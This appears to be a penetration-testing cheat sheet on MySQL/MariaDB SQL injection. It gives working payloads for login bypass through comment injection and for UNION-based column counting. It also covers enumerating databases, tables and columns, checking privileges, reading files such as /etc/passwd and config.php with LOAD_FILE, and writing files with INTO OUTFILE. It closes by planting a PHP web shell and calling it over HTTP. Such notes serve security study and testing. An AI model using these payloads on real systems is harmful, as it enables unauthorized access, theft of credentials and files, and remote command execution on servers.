Skip to main content

SQL Injections

This article describes some tricks for successful SQL injection. The commands describe here apply only for MySQL/MariaDB, but similar approach can be taken for any other relational databases.

Comments

When trying to make the SQL injection, remember that SQL has different comment characters: # and --. Mind the space in the last one, it's better to use -- - char for this kind of escape.

URL encode

If you are trying to discover a SQL injection and you fail, remember that you might need to use the URL-encoded characters:

CharacterURL Encoded Character
'%27
"%22
#%23
;%3B
)%29

Query logic

Remember you can subvert any query logic by using the AND and OR operators, e.g:

SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';

If you are free to input any value in admin you can ignore the AND:

SELECT * FROM logins WHERE username='admin'--' AND password = 'p@ssw0rd';

Another example, you can just not only ignore the conditions but change them:

SELECT * FROM logins WHERE ((username='admin') AND id > 1) AND password = 'd41d8cd98f00b204e9800998ecf8427e'

username = other')) OR id=5'--

SELECT * FROM logins WHERE ((username='username = other')) OR id=5'--) AND id > 1) AND password = 'd41d8cd98f00b204e9800998ecf8427e'

And you will log-in as user with ID 5

Union

You can abuse the SQL injection to extract info from any table using the UNION clause. You just need to know the number of columns.

You can combine the outputs of two tables provided they have the same number of columns.

In order to know the number of columns, you can use the following methods:

  • Order by: you can pass the number of column to sort by: 1,2,3, keep trying until you got an error. That's the number of columns.

  • Union: similar to the last one but provide the colums to a union query: UNION select 1,2,3. When it fails, you'll know the max number of columns.

This last method provides the benefit that you see in the UI if there are some hidden column.

Enumerating through SQL injection

You can extract the information in the database via SQL injection. However, first you must know the databases inside, the tables and the structure of them.

No worries, you can make use of the table metadata to obtain this information:

Databases

All available databases

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

Current database

select 1,database(),2,3-- -

Tables

All available tables in database dev

select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'

Table columns

All available columns in table 'credentials'

select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'

User privileges

In certain conditions the user might be authorized to read/write files from the database. First of all you need to know the privileges of the current user:

To know the user running the database:

SELECT 1, user(), 3, 4

Check if the user is a super-user:

SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"

List all privileges of user:

SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"

Reading

If FILE privilege is granted for the user, you might be able to read any system file from the database engine:

SELECT LOAD_FILE('/etc/passwd');
SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4

This will work provided the user running the database has read access in the OS.

You can use TO_BASE64 function for convinience:

SELECT 1, TO_BASE64(LOAD_FILE("/var/www/html/config.php")), 3, 4

And later decode it:

cat /tmp/b.txt | tr -d ' ' | base64 -d  > /tmp/b.php

Note that displaying the base64 added some whitespaces which base64 command dislikes. You can use tr to remove those chars.

Writing

There are some requirements to be able to write a file from the database:

  • FILE privilege
  • Global secure_file_priv variable not enabled
  • The user running the database must have write access to the destination

You can check the global variable with a query like:

SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"

If the conditions are met, writing to a file is simple:

select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'

Then, you can try more advanced stuff, like writing a web shell:

select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'

The attacker might run this web-shell from http://SERVER_IP:PORT/shell.php?0=id